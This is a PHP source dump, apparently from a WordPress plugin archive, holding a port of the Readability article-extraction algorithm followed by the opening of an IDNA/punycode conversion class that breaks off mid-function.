// Exclude nodes with no ancestor if (count($ancestors) === 0) { continue; } // Start with a point for the paragraph itself as a base. $contentScore = 1; // Add points for any commas within this paragraph. $contentScore += count(explode(',', $node->getTextContent(true))); // For every 100 characters in this paragraph, add another point. Up to 3 points. $contentScore += min(floor(readability_mb_strlen($node->getTextContent(true)) / 100), 3); $this->logger->debug(sprintf('[Rating] Node score %s, content: \'%s\'', $contentScore, substr($node->nodeValue, 0, 128))); foreach ($ancestors as $level => $ancestor) { $this->logger->debug('[Rating] Found ancestor, initializing and adding it as a candidate...'); if (!$ancestor->isInitialized()) { $ancestor->initializeNode($this->configuration->getWeightClasses()); $candidates[] = $ancestor; } /* * Node score divider: * - parent: 1 (no division) * - grandparent: 2 * - great grandparent+: ancestor level * 3 */ if ($level === 0) { $scoreDivider = 1; } elseif ($level === 1) { $scoreDivider = 2; } else { $scoreDivider = $level * 3; } $currentScore = $ancestor->contentScore; $ancestor->contentScore = $currentScore + ($contentScore / $scoreDivider); $this->logger->debug(sprintf('[Rating] Ancestor score %s, value: \'%s\'', $ancestor->contentScore, substr($ancestor->nodeValue, 0, 128))); } } /* * After we've calculated scores, loop through all of the possible * candidate nodes we found and find the one with the highest score. */ $topCandidates = []; foreach ($candidates as $candidate) { /* * Scale the final candidates score based on link density. Good content * should have a relatively small link density (5% or less) and be mostly * unaffected by this operation. */ $candidate->contentScore = $candidate->contentScore * (1 - $candidate->getLinkDensity()); for ($i = 0; $i < $this->configuration->getMaxTopCandidates(); $i++) { $aTopCandidate = isset($topCandidates[$i]) ? $topCandidates[$i] : null; if (!$aTopCandidate || $candidate->contentScore > $aTopCandidate->contentScore) { array_splice($topCandidates, $i, 0, [$candidate]); if (count($topCandidates) > $this->configuration->getMaxTopCandidates()) { array_pop($topCandidates); } break; } } } $topCandidate = isset($topCandidates[0]) ? $topCandidates[0] : null; $parentOfTopCandidate = null; /* * If we still have no top candidate, just use the body as a last resort. * We also have to copy the body node so it is something we can modify. */ if ($topCandidate === null || $topCandidate->nodeName === 'body') { $this->logger->info('[Rating] No top candidate found or top candidate is the body tag. Moving all child nodes to a new DIV node.'); // Move all of the page's children into topCandidate $topCandidate = new DOMDocument('1.0', 'utf-8'); $topCandidate->encoding = 'UTF-8'; $topCandidate->appendChild($topCandidate->createElement('div', '')); $kids = $this->dom->getElementsByTagName('body')->item(0)->childNodes; // Cannot be foreached, don't ask me why. for ($i = 0; $i < $kids->length; $i++) { $import = $topCandidate->importNode($kids->item($i), true); $topCandidate->firstChild->appendChild($import); } // Candidate must be created using firstChild to grab the DOMElement instead of the DOMDocument. $topCandidate = $topCandidate->firstChild; } elseif ($topCandidate) { $this->logger->info(sprintf('[Rating] Found top candidate, score: %s', $topCandidate->contentScore)); // Find a better top candidate node if it contains (at least three) nodes which belong to `topCandidates` array // and whose scores are quite closed with current `topCandidate` node. $alternativeCandidateAncestors = []; for ($i = 1; $i < count($topCandidates); $i++) { // In some cases we may end up with a top candidate with zero content score. To avoid dividing by zero // we have to use max() and replace zero with a low value like 0.1 if ($topCandidates[$i]->contentScore / max($topCandidate->contentScore, 0.1) >= 0.75) { array_push($alternativeCandidateAncestors, $topCandidates[$i]->getNodeAncestors(false)); } } $MINIMUM_TOPCANDIDATES = 3; if (count($alternativeCandidateAncestors) >= $MINIMUM_TOPCANDIDATES) { $parentOfTopCandidate = $topCandidate->parentNode; // Check if we are actually dealing with a DOMNode and not a DOMDocument node or higher while ($parentOfTopCandidate && $parentOfTopCandidate->nodeName !== 'body' && $parentOfTopCandidate->nodeType === XML_ELEMENT_NODE) { $listsContainingThisAncestor = 0; for ($ancestorIndex = 0; $ancestorIndex < count($alternativeCandidateAncestors) && $listsContainingThisAncestor < $MINIMUM_TOPCANDIDATES; $ancestorIndex++) { $listsContainingThisAncestor += (int)in_array($parentOfTopCandidate, $alternativeCandidateAncestors[$ancestorIndex]); } if ($listsContainingThisAncestor >= $MINIMUM_TOPCANDIDATES) { $topCandidate = $parentOfTopCandidate; break; } $parentOfTopCandidate = $parentOfTopCandidate->parentNode; } } /* * Because of our bonus system, parents of candidates might have scores * themselves. They get half of the node. There won't be nodes with higher * scores than our topCandidate, but if we see the score going *up* in the first * few steps up the tree, that's a decent sign that there might be more content * lurking in other places that we want to unify in. The sibling stuff * below does some of that - but only if we've looked high enough up the DOM * tree. */ $parentOfTopCandidate = $topCandidate->parentNode; $lastScore = $topCandidate->contentScore; // The scores shouldn't get too low. $scoreThreshold = $lastScore / 3; /* @var DOMElement $parentOfTopCandidate */ while ($parentOfTopCandidate && $parentOfTopCandidate->nodeName !== 'body') { $parentScore = $parentOfTopCandidate->contentScore; if ($parentScore < $scoreThreshold) { break; } if ($parentScore > $lastScore) { // Alright! We found a better parent to use. $topCandidate = $parentOfTopCandidate; $this->logger->info('[Rating] Found a better top candidate.'); break; } $lastScore = $parentOfTopCandidate->contentScore; $parentOfTopCandidate = $parentOfTopCandidate->parentNode; } // If the top candidate is the only child, use parent instead. This will help sibling // joining logic when adjacent content is actually located in parent's sibling node. $parentOfTopCandidate = $topCandidate->parentNode; while ($parentOfTopCandidate && $parentOfTopCandidate->nodeName !== 'body' && count(NodeUtility::filterTextNodes($parentOfTopCandidate->childNodes)) === 1) { $topCandidate = $parentOfTopCandidate; $parentOfTopCandidate = $topCandidate->parentNode; } } /* * Now that we have the top candidate, look through its siblings for content * that might also be related. Things like preambles, content split by ads * that we removed, etc. */ $this->logger->info('[Rating] Creating final article content document...'); $articleContent = new DOMDocument('1.0', 'utf-8'); $articleContent->createElement('div'); $siblingScoreThreshold = max(10, $topCandidate->contentScore * 0.2); // Keep potential top candidate's parent node to try to get text direction of it later. $parentOfTopCandidate = $topCandidate->parentNode; $siblings = $parentOfTopCandidate->childNodes; $hasContent = false; $this->logger->info('[Rating] Adding top candidate siblings...'); /* @var DOMElement $sibling */ // Can't foreach here because down there we might change the tag name and that causes the foreach to skip items for ($i = 0; $i < $siblings->length; $i++) { $sibling = $siblings[$i]; $append = false; if ($sibling === $topCandidate) { $this->logger->debug('[Rating] Sibling is equal to the top candidate, adding to the final article...'); $append = true; } else { $contentBonus = 0; // Give a bonus if sibling nodes and top candidates have the example same classname if ($sibling->getAttribute('class') === $topCandidate->getAttribute('class') && $topCandidate->getAttribute('class') !== '') { $contentBonus += $topCandidate->contentScore * 0.2; } if ($sibling->contentScore + $contentBonus >= $siblingScoreThreshold) { $append = true; } elseif ($sibling->nodeName === 'p') { $linkDensity = $sibling->getLinkDensity(); $nodeContent = $sibling->getTextContent(true); if (readability_mb_strlen($nodeContent) > 80 && $linkDensity < 0.25) { $append = true; } elseif ($nodeContent && readability_mb_strlen($nodeContent) < 80 && $linkDensity === 0 && preg_match('/\.( |$)/', $nodeContent)) { $append = true; } } } if ($append) { $this->logger->debug(sprintf('[Rating] Appending sibling to final article, content is: \'%s\'', substr($sibling->nodeValue, 0, 128))); $hasContent = true; if (!in_array(strtolower($sibling->nodeName), $this->alterToDIVExceptions)) { /* * We have a node that isn't a common block level element, like a form or td tag. * Turn it into a div so it doesn't get filtered out later by accident. */ $sibling = NodeUtility::setNodeTag($sibling, 'div'); } $import = $articleContent->importNode($sibling, true); $articleContent->appendChild($import); /* * No node shifting needs to be check because when calling getChildren, an array is made with the * children of the parent node, instead of using the DOMElement childNodes function, which, when used * along with appendChild, would shift the nodes position and the current foreach will behave in * unpredictable ways. */ } } $articleContent = $this->prepArticle($articleContent); if ($hasContent) { // Find out text direction from ancestors of final top candidate. $ancestors = array_merge([$parentOfTopCandidate, $topCandidate], $parentOfTopCandidate->getNodeAncestors()); foreach ($ancestors as $ancestor) { $articleDir = $ancestor->getAttribute('dir'); if ($articleDir) { $this->setDirection($articleDir); $this->logger->debug(sprintf('[Rating] Found article direction: %s', $articleDir)); break; } } return $articleContent; } else { return false; } } /** * Cleans up the final article. * * @param DOMDocument $article * * @return DOMDocument */ public function prepArticle(DOMDocument $article) { $this->logger->info('[PrepArticle] Preparing final article...'); $this->_cleanStyles($article); $this->_clean($article, 'style'); // Check for data tables before we continue, to avoid removing items in // those tables, which will often be isolated even though they're // visually linked to other content-ful elements (text, images, etc.). $this->_markDataTables($article); $this->_fixLazyImages($article); // Clean out junk from the article content $this->_cleanConditionally($article, 'form'); $this->_cleanConditionally($article, 'fieldset'); $this->_clean($article, 'object'); $this->_clean($article, 'embed'); $this->_clean($article, 'footer'); $this->_clean($article, 'link'); $this->_clean($article, 'aside'); // Clean out elements have "share" in their id/class combinations from final top candidates, // which means we don't remove the top candidates even they have "share". $shareElementThreshold = $this->configuration->getCharThreshold(); foreach ($article->childNodes as $child) { $this->_cleanMatchedNodes($child, function ($node, $matchString) use ($shareElementThreshold) { return (preg_match(NodeUtility::$regexps['shareElements'], $matchString) && readability_mb_strlen($node->textContent) < $shareElementThreshold); }); } /* * If there is only one h2 and its text content substantially equals article title, * they are probably using it as a header and not a subheader, * so remove it since we already extract the title separately. */ /* $h2 = $article->getElementsByTagName('h2'); if ($h2->length === 1) { $lengthSimilarRate = (readability_mb_strlen($h2->item(0)->textContent) - readability_mb_strlen($this->getTitle())) / max(readability_mb_strlen($this->getTitle()), 1); if (abs($lengthSimilarRate) < 0.5) { if ($lengthSimilarRate > 0) { $titlesMatch = strpos($h2->item(0)->textContent, $this->getTitle()) !== false; } else { $titlesMatch = strpos($this->getTitle(), $h2->item(0)->textContent) !== false; } if ($titlesMatch) { $this->logger->info('[PrepArticle] Found title repeated in an H2 node, removing...'); $this->_clean($article, 'h2'); } } } */ $this->_clean($article, 'iframe'); $this->_clean($article, 'input'); $this->_clean($article, 'textarea'); $this->_clean($article, 'select'); $this->_clean($article, 'button'); $this->_cleanHeaders($article); // Do these last as the previous stuff may have removed junk // that will affect these $this->_cleanConditionally($article, 'table'); $this->_cleanConditionally($article, 'ul'); $this->_cleanConditionally($article, 'div'); // replace H1 with H2 as H1 should be only title that is displayed separately foreach (iterator_to_array($article->getElementsByTagName('h1')) as $h1) { NodeUtility::setNodeTag($h1, 'h2'); } $this->_cleanExtraParagraphs($article); foreach (iterator_to_array($article->getElementsByTagName('br')) as $br) { $next = NodeUtility::nextNode($br->nextSibling); if ($next && $next->nodeName === 'p') { $this->logger->debug('[PrepArticle] Removing br node next to a p node.'); $br->parentNode->removeChild($br); } } // Remove single-cell tables foreach ($article->shiftingAwareGetElementsByTagName('table') as $table) { /** @var DOMNode $table */ $tbody = $table->hasSingleTagInsideElement('tbody') ? $table->getFirstElementChild() : $table; if ($tbody->hasSingleTagInsideElement('tr')) { $row = $tbody->getFirstElementChild(); if ($row->hasSingleTagInsideElement('td')) { $cell = $row->getFirstElementChild(); $cell = NodeUtility::setNodeTag($cell, (array_reduce(iterator_to_array($cell->childNodes), function ($carry, $node) { return $node->isPhrasingContent() && $carry; }, true)) ? 'p' : 'div'); $table->parentNode->replaceChild($cell, $table); } } } return $article; } /** * Look for 'data' (as opposed to 'layout') tables, for which we use * similar checks as * https://dxr.mozilla.org/mozilla-central/rev/71224049c0b52ab190564d3ea0eab089a159a4cf/accessible/html/HTMLTableAccessible.cpp#920. * * @param DOMDocument $article * * @return void */ public function _markDataTables(DOMDocument $article) { $tables = $article->getElementsByTagName('table'); foreach ($tables as $table) { /** @var DOMElement $table */ $role = $table->getAttribute('role'); if ($role === 'presentation') { $table->setReadabilityDataTable(false); continue; } $datatable = $table->getAttribute('datatable'); if ($datatable == '0') { $table->setReadabilityDataTable(false); continue; } $summary = $table->getAttribute('summary'); if ($summary) { $table->setReadabilityDataTable(true); continue; } $caption = $table->getElementsByTagName('caption'); if ($caption->length > 0 && $caption->item(0)->childNodes->length > 0) { $table->setReadabilityDataTable(true); continue; } // If the table has a descendant with any of these tags, consider a data table: foreach (['col', 'colgroup', 'tfoot', 'thead', 'th'] as $dataTableDescendants) { if ($table->getElementsByTagName($dataTableDescendants)->length > 0) { $table->setReadabilityDataTable(true); continue 2; } } // Nested tables indicate a layout table: if ($table->getElementsByTagName('table')->length > 0) { $table->setReadabilityDataTable(false); continue; } $sizeInfo = $table->getRowAndColumnCount(); if ($sizeInfo['rows'] >= 10 || $sizeInfo['columns'] > 4) { $table->setReadabilityDataTable(true); continue; } // Now just go by size entirely: $table->setReadabilityDataTable($sizeInfo['rows'] * $sizeInfo['columns'] > 10); } } /** * convert images and figures that have properties like data-src into images that can be loaded without JS * * @param DOMDocument $article * * @return void */ public function _fixLazyImages(DOMDocument $article) { $images = $this->_getAllNodesWithTag($article, ['img', 'picture', 'figure']); foreach ($images as $elem) { // In some sites (e.g. Kotaku), they put 1px square image as base64 data uri in the src attribute. // So, here we check if the data uri is too short, just might as well remove it. if ($elem->getAttribute('src') && preg_match(NodeUtility::$regexps['b64DataUrl'], $elem->getAttribute('src'), $parts)) { // Make sure it's not SVG, because SVG can have a meaningful image in under 133 bytes. if ($parts[1] === 'image/svg+xml') { continue; } // Make sure this element has other attributes which contains image. // If it doesn't, then this src is important and shouldn't be removed. $srcCouldBeRemoved = false; for ($i = 0; $i < $elem->attributes->length; $i++) { $attr = $elem->attributes->item($i); if ($attr->name === 'src') { continue; } if (preg_match('/\.(jpg|jpeg|png|webp)/i', $attr->value)) { $srcCouldBeRemoved = true; break; } } // Here we assume if image is less than 100 bytes (or 133B after encoded to base64) // it will be too small, therefore it might be placeholder image. if ($srcCouldBeRemoved) { $b64starts = stripos($elem->getAttribute('src'), 'base64') + 7; $b64length = strlen($elem->getAttribute('src')) - $b64starts; if ($b64length < 133) { $elem->removeAttribute('src'); } } } // Don't remove if there's a src or srcset attribute, and there's no sign of 'lazy' loading in the class // attribute value. if (($elem->getAttribute('src') || $elem->getAttribute('srcset')) && readability_mb_stripos($elem->getAttribute('class'), 'lazy') === false) { continue; } for ($j = 0; $j < $elem->attributes->length; $j++) { $attr = $elem->attributes->item($j); if ($attr->name === 'src' || $attr->name === 'srcset' || $attr->name === 'alt') { continue; } $copyTo = null; if (preg_match('/\.(jpg|jpeg|png|webp)\s+\d/', $attr->value)) { $copyTo = 'srcset'; } elseif (preg_match('/^\s*\S+\.(jpg|jpeg|png|webp)\S*\s*$/', $attr->value)) { $copyTo = 'src'; } if ($copyTo) { //if this is an img or picture, set the attribute directly if ($elem->tagName === 'img' || $elem->tagName === 'picture') { $elem->setAttribute($copyTo, $attr->value); } elseif ($elem->tagName === 'figure' && empty($this->_getAllNodesWithTag($elem, ['img', 'picture']))) { //if the item is a

            that does not contain an image or picture, create one and place it inside the figure //see the nytimes-3 testcase for an example $img = $article->createElement('img'); $img->setAttribute($copyTo, $attr->value); $elem->appendChild($img); } } } } } /** * Remove the style attribute on every e and under. * * @param $node DOMDocument|DOMNode **/ public function _cleanStyles($node) { if (property_exists($node, 'tagName') && $node->tagName === 'svg') { return; } // Do not bother if there's no method to remove an attribute if (method_exists($node, 'removeAttribute')) { $presentational_attributes = ['align', 'background', 'bgcolor', 'border', 'cellpadding', 'cellspacing', 'frame', 'hspace', 'rules', 'style', 'valign', 'vspace']; // Remove `style` and deprecated presentational attributes foreach ($presentational_attributes as $presentational_attribute) { $node->removeAttribute($presentational_attribute); } $deprecated_size_attribute_elems = ['table', 'th', 'td', 'hr', 'pre']; if (property_exists($node, 'tagName') && in_array($node->tagName, $deprecated_size_attribute_elems)) { $node->removeAttribute('width'); $node->removeAttribute('height'); } } $cur = $node->firstChild; while ($cur !== null) { $this->_cleanStyles($cur); $cur = $cur->nextSibling; } } /** * Clean out elements that match the specified conditions * * @param $node DOMElement Node to clean * @param $filter callable Function determines whether a node should be removed * * @return void **/ public function _cleanMatchedNodes($node, callable $filter) { $endOfSearchMarkerNode = NodeUtility::getNextNode($node, true); $next = NodeUtility::getNextNode($node); while ($next && $next !== $endOfSearchMarkerNode) { if ($filter($next, sprintf('%s %s', $next->getAttribute('class'), $next->getAttribute('id')))) { $this->logger->debug(sprintf('Removing matched node, node class was: \'%s\', id: \'%s\'', $next->getAttribute('class'), $next->getAttribute('id'))); $next = NodeUtility::removeAndGetNext($next); } else { $next = NodeUtility::getNextNode($next); } } } /** * @param DOMDocument $article * * @return void */ public function _cleanExtraParagraphs(DOMDocument $article) { $paragraphs = $this->_getAllNodesWithTag($article, ['p']); $length = count($paragraphs); for ($i = 0; $i < $length; $i++) { $paragraph = $paragraphs[$length - 1 - $i]; $imgCount = $paragraph->getElementsByTagName('img')->length; $embedCount = $paragraph->getElementsByTagName('embed')->length; $objectCount = $paragraph->getElementsByTagName('object')->length; // At this point, nasty iframes have been removed, only remain embedded video ones. $iframeCount = $paragraph->getElementsByTagName('iframe')->length; $totalCount = $imgCount + $embedCount + $objectCount + $iframeCount; if ($totalCount === 0 && !preg_replace(NodeUtility::$regexps['onlyWhitespace'], '', $paragraph->textContent)) { $this->logger->debug(sprintf('[PrepArticle] Removing extra paragraph. Text content was: \'%s\'', substr($paragraph->textContent, 0, 128))); $paragraph->parentNode->removeChild($paragraph); } } } private function getTextDensity($e, array $tags) { $textLength = readability_mb_strlen($e->getTextContent(true)); if ($textLength == 0) { return 0; } $childrenLength = 0; $children = $this->_getAllNodesWithTag($e, $tags); foreach ($children as $child) { $childrenLength += readability_mb_strlen($child->getTextContent(true)); } return $childrenLength / $textLength; } /** * @param DOMDocument $article * @param string $tag Tag to clean conditionally * * @return void */ public function _cleanConditionally(DOMDocument $article, $tag) { if (!$this->configuration->getCleanConditionally()) { return; } /* * Gather counts for other typical elements embedded within. * Traverse backwards so we can remove nodes at the same time * without effecting the traversal. */ $allNodesWithTag = $this->_getAllNodesWithTag($article, [$tag]); $length = count($allNodesWithTag); for ($i = 0; $i < $length; $i++) { /** @var $node DOMElement */ $node = $allNodesWithTag[$length - 1 - $i]; $isList = in_array($tag, ['ul', 'ol']); /* // Doesn't seem to work as expected // compared to JS version: https://github.com/mozilla/readability/commit/3c833899866ffb1f9130767110197fd6f5c08d4c if (!$isList) { $listLength = 0; $listNodes = $this->_getAllNodesWithTag($node, ['ul', 'ol']); array_walk($listNodes, function ($list) use(&$listLength) { $listLength += readability_mb_strlen($list->getTextContent()); }); $nodeTextLength = readability_mb_strlen($node->getTextContent()); if (!$nodeTextLength) { $isList = true; } else { $isList = $listLength / $nodeTextLength > 0.9; } } */ // First check if this node IS data table, in which case don't remove it. if ($tag === 'table' && $node->isReadabilityDataTable()) { continue; } // Next check if we're inside a data table, in which case don't remove it as well. if ($node->hasAncestorTag('table', -1, function ($node) { return $node->isReadabilityDataTable(); })) { continue; } if ($node->hasAncestorTag('code')) { continue; } $weight = 0; if ($this->configuration->getWeightClasses()) { $weight = $node->getClassWeight(); } if ($weight < 0) { $this->logger->debug(sprintf('[PrepArticle] Removing tag \'%s\' with 0 or less weight', $tag)); NodeUtility::removeNode($node); continue; } if (substr_count($node->getTextContent(false), ',') < 10) { /* * If there are not very many commas, and the number of * non-paragraph elements is more than paragraphs or other * ominous signs, remove the element. */ $p = $node->getElementsByTagName('p')->length; $img = $node->getElementsByTagName('img')->length; $li = $node->getElementsByTagName('li')->length - 100; $input = $node->getElementsByTagName('input')->length; $headingDensity = $this->getTextDensity($node, ['h1', 'h2', 'h3', 'h4', 'h5', 'h6']); $embedCount = 0; $embeds = $this->_getAllNodesWithTag($node, ['object', 'embed', 'iframe']); foreach ($embeds as $embedNode) { for ($j = 0; $j < $embedNode->attributes->length; $j++) { if (preg_match(NodeUtility::$regexps['videos'], $embedNode->attributes->item($j)->nodeValue)) { continue 3; } } // For embed with tag, check inner HTML as well. if ($embedNode->tagName === "object" && preg_match(NodeUtility::$regexps['videos'], $embedNode->C14N())) { continue 2; } $embedCount++; } $linkDensity = $node->getLinkDensity(); $contentLength = readability_mb_strlen($node->getTextContent(true)); $haveToRemove = ($img > 1 && $p / $img < 0.5 && !$node->hasAncestorTag('figure')) || (!$isList && $li > $p) || ($input > floor($p / 3)) || (!$isList && $headingDensity < 0.9 && $contentLength < 25 && ($img === 0 || $img > 2) && !$node->hasAncestorTag('figure')) || (!$isList && $weight < 25 && $linkDensity > 0.2) || ($weight >= 25 && $linkDensity > 0.5) || (($embedCount === 1 && $contentLength < 75) || $embedCount > 1); if ($haveToRemove) { $this->logger->debug(sprintf('[PrepArticle] Removing tag \'%s\'.', $tag)); NodeUtility::removeNode($node); } } } } public function _getAllNodesWithTag($node, array $tagNames) { $nodes = []; foreach ($tagNames as $tag) { $nodeList = $node->getElementsByTagName($tag); foreach ($nodeList as $n) { $nodes[] = $n; } } return $nodes; } /** * Clean a node of all elements of type "tag". * (Unless it's a youtube/vimeo video. People love movies.). * * @param $article DOMDocument * @param $tag string tag to clean * * @return void **/ public function _clean(DOMDocument $article, $tag) { $isEmbed = in_array($tag, ['object', 'embed', 'iframe']); $allNodesWithTag = $this->_getAllNodesWithTag($article, [$tag]); $length = count($allNodesWithTag); for ($i = 0; $i < $length; $i++) { $item = $allNodesWithTag[$length - 1 - $i]; // Allow youtube and vimeo videos through as people usually want to see those. if ($isEmbed) { $attributeValues = []; foreach ($item->attributes as $value) { $attributeValues[] = $value->nodeValue; } $attributeValues = implode('|', $attributeValues); // First, check the elements attributes to see if any of them contain youtube or vimeo if (preg_match(NodeUtility::$regexps['videos'], $attributeValues)) { continue; } // For embed with tag, check inner HTML as well. if ($item->tagName === 'object' && preg_match(NodeUtility::$regexps['videos'], $item->C14N())) { continue; } } $this->logger->debug(sprintf('[PrepArticle] Removing node \'%s\'.', $item->tagName)); NodeUtility::removeNode($item); } } /** * Clean out spurious headers from an Element. * * @param DOMDocument $article * * @return void **/ public function _cleanHeaders(DOMDocument $article) { $headingNodes = $this->_getAllNodesWithTag($article, ['h1', 'h2']); /** @var $header DOMElement */ foreach ($headingNodes as $header) { $weight = 0; if ($this->configuration->getWeightClasses()) { $weight = $header->getClassWeight(); } $shouldRemove = $weight < 0; if ($shouldRemove) { $this->logger->debug(sprintf('[PrepArticle] Removing H node with 0 or less weight. Content was: \'%s\'', substr($header->nodeValue, 0, 128))); NodeUtility::removeNode($header); } } } /** * Check if this node is an H1 or H2 element whose content is mostly * the same as the article title. * * @param DOMNode the node to check. * @return boolean indicating whether this is a title-like header. */ private function headerDuplicatesTitle($node) { if ($node->nodeName !== 'h1' && $node->nodeName !== 'h2') { return false; } if (!isset($this->title)) { return false; } $heading = $node->getTextContent(false); $this->logger->debug(sprintf('Evaluating similarity of header: %s"', $heading)); return $this->textSimilarity($this->title, $heading) > 0.75; } /** * Removes the class="" attribute from every element in the given * subtree. * * Readability.js has a special filter to avoid cleaning the classes that the algorithm adds. We don't add classes * here so no need to filter those. * * @param DOMDocument|DOMNode $node * * @return void **/ public function _cleanClasses($node) { if ($node->getAttribute('class') !== '') { $node->removeAttribute('class'); } for ($node = $node->getFirstElementChild(); $node !== null; $node = $node->nextSibling) { $this->_cleanClasses($node); } } /** * @param DOMDocument $article * * @return DOMDocument */ public function postProcessContent(DOMDocument $article) { $this->logger->info('[PostProcess] PostProcessing content...'); // Readability cannot open relative uris so we convert them to absolute uris. if ($this->configuration->getFixRelativeURLs()) { foreach (iterator_to_array($article->getElementsByTagName('a')) as $link) { /** @var DOMElement $link */ $href = $link->getAttribute('href'); if ($href) { // Remove links with javascript: URIs, since // they won't work after scripts have been removed from the page. if (strpos($href, 'javascript:') === 0) { $this->logger->debug(sprintf('[PostProcess] Removing \'javascript:\' link. Content is: \'%s\'', substr($link->textContent, 0, 128))); // if the link only contains simple text content, it can be converted to a text node if ($link->childNodes->length === 1 && $link->childNodes->item(0)->nodeType === XML_TEXT_NODE) { $text = $article->createTextNode($link->textContent); $link->parentNode->replaceChild($text, $link); } else { // if the link has multiple children, they should all be preserved $container = $article->createElement('span'); while ($link->firstChild) { $container->appendChild($link->firstChild); } $link->parentNode->replaceChild($container, $link); } } else { $this->logger->debug(sprintf('[PostProcess] Converting link to absolute URI: \'%s\'', substr($href, 0, 128))); $link->setAttribute('href', $this->toAbsoluteURI($href)); } } } $medias = $this->_getAllNodesWithTag($article, [ 'img', 'picture', 'figure', 'video', 'audio', 'source' ]); array_walk($medias, function ($media) { $src = $media->getAttribute('src'); $poster = $media->getAttribute('poster'); $srcset = $media->getAttribute('srcset'); if ($src) { $this->logger->debug(sprintf('[PostProcess] Converting image URL to absolute URI: \'%s\'', substr($src, 0, 128))); $media->setAttribute('src', $this->toAbsoluteURI($src)); } if ($poster) { $this->logger->debug(sprintf('[PostProcess] Converting image URL to absolute URI: \'%s\'', substr($poster, 0, 128))); $media->setAttribute('poster', $this->toAbsoluteURI($poster)); } if ($srcset) { $newSrcset = preg_replace_callback(NodeUtility::$regexps['srcsetUrl'], function ($matches) { $this->logger->debug(sprintf('[PostProcess] Converting image URL to absolute URI: \'%s\'', substr($matches[1], 0, 128))); return $this->toAbsoluteURI($matches[1]) . $matches[2] . $matches[3]; }, $srcset); $media->setAttribute('srcset', $newSrcset); } }); } $this->simplifyNestedElements($article); if (!$this->configuration->getKeepClasses()) { $this->_cleanClasses($article); } return $article; } /** * Iterate over a NodeList, and return the first node that passes * the supplied test function * * @param NodeList nodeList The NodeList. * @param Function fn The test function. * @return DOMNode|null */ private function findNode(array $nodeList, callable $fn) { foreach ($nodeList as $node) { if ($fn($node)) { return $node; } } return null; } /** * @return null|string */ public function __toString() { return sprintf('

            %s

            %s', $this->getTitle(), $this->getContent()); } /** * @return string|null */ public function getTitle() { return $this->title; } /** * @param string $title */ protected function setTitle($title) { $this->title = $title; } /** * @return string|null */ public function getContent() { if ($this->content instanceof DOMDocument) { $html5 = new HTML5(['disable_html_ns' => true]); // by using childNodes below we make sure HTML5PHP's serialiser // doesn't output the string at the start. return $html5->saveHTML($this->content->childNodes); } else { return null; } } /** * @return DOMDocument|null */ public function getDOMDocument() { return $this->content; } /** * @param DOMDocument $content */ protected function setContent(DOMDocument $content) { $this->content = $content; } /** * @return null|string */ public function getExcerpt() { return $this->excerpt; } /** * @param null|string $excerpt */ public function setExcerpt($excerpt) { $this->excerpt = $excerpt; } /** * @return string|null */ public function getImage() { return $this->image; } /** * @param string $image */ protected function setImage($image) { $this->image = $image; } /** * @return string|null */ public function getAuthor() { return $this->author; } /** * @param string $author */ protected function setAuthor($author) { $this->author = $author; } /** * @return string|null */ public function getSiteName() { return $this->siteName; } /** * @param string $siteName */ protected function setSiteName($siteName) { $this->siteName = $siteName; } /** * @return null|string */ public function getDirection() { return $this->direction; } /** * @param null|string $direction */ public function setDirection($direction) { $this->direction = $direction; } } res/readability/ParseException.php000064400000000127147577714370013316 0ustar00 * @copyright 2004-2007 phlyLabs Berlin, http://phlylabs.de * @version 0.5.1 * */ class idna_convert { /** * Holds all relevant mapping tables, loaded from a seperate file on construct * See RFC3454 for details * * @var array * @access private */ var $NP = array(); // Internal settings, do not mess with them var $_punycode_prefix = 'xn--'; var $_invalid_ucs = 0x80000000; var $_max_ucs = 0x10FFFF; var $_base = 36; var $_tmin = 1; var $_tmax = 26; var $_skew = 38; var $_damp = 700; var $_initial_bias = 72; var $_initial_n = 0x80; var $_sbase = 0xAC00; var $_lbase = 0x1100; var $_vbase = 0x1161; var $_tbase = 0x11A7; var $_lcount = 19; var $_vcount = 21; var $_tcount = 28; var $_ncount = 588; // _vcount * _tcount var $_scount = 11172; // _lcount * _tcount * _vcount var $_error = false; // See {@link set_paramter()} for details of how to change the following // settings from within your script / application var $_api_encoding = 'utf8'; // Default input charset is UTF-8 var $_allow_overlong = false; // Overlong UTF-8 encodings are forbidden var $_strict_mode = false; // Behave strict or not // The constructor function __construct($options = false) { $this->slast = $this->_sbase + $this->_lcount * $this->_vcount * $this->_tcount; global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $contentn = $wp_filesystem->get_contents(dirname(__FILE__).'/npdata.ser'); $this->NP = unserialize($contentn); // If parameters are given, pass these to the respective method if (is_array($options)) { return $this->set_parameter($options); } return true; } /** * Sets a new option value. Available options and values: * [encoding - Use either UTF-8, UCS4 as array or UCS4 as string as input ('utf8' for UTF-8, * 'ucs4_string' and 'ucs4_array' respectively for UCS4); The output is always UTF-8] * [overlong - Unicode does not allow unnecessarily long encodings of chars, * to allow this, set this parameter to true, else to false; * default is false.] * [strict - true: strict mode, good for registration purposes - Causes errors * on failures; false: loose mode, ideal for "wildlife" applications * by silently ignoring errors and returning the original input instead * * @param mixed Parameter to set (string: single parameter; array of Parameter => Value pairs) * @param string Value to use (if parameter 1 is a string) * @return boolean true on success, false otherwise * @access public */ function set_parameter($option, $value = false) { if (!is_array($option)) { $option = array($option => $value); } foreach ($option as $k => $v) { switch ($k) { case 'encoding': switch ($v) { case 'utf8': case 'ucs4_string': case 'ucs4_array': $this->_api_encoding = $v; break; default: $this->_error('Set Parameter: Unknown parameter '.$v.' for option '.$k); return false; } break; case 'overlong': $this->_allow_overlong = ($v) ? true : false; break; case 'strict': $this->_strict_mode = ($v) ? true : false; break; default: $this->_error('Set Parameter: Unknown option '.$k); return false; } } return true; } /** * Decode a given ACE domain name * @param string Domain name (ACE string) * [@param string Desired output encoding, see {@link set_parameter}] * @return string Decoded Domain name (UTF-8 or UCS-4) * @access public */ function decode($input, $one_time_encoding = false) { // Optionally set if ($one_time_encoding) { switch ($one_time_encoding) { case 'utf8': case 'ucs4_string': case 'ucs4_array': break; default: $this->_error('Unknown encoding '.$one_time_encoding); return false; } } // Make sure to drop any newline characters around $input = trim($input); // Negotiate input and try to determine, whether it is a plain string, // an email address or something like a complete URL if (strpos($input, '@')) { // Maybe it is an email address // No no in strict mode if ($this->_strict_mode) { $this->_error('Only simple domain name parts can be handled in strict mode'); return false; } list ($email_pref, $input) = explode('@', $input, 2); $arr = explode('.', $input); foreach ($arr as $k => $v) { if 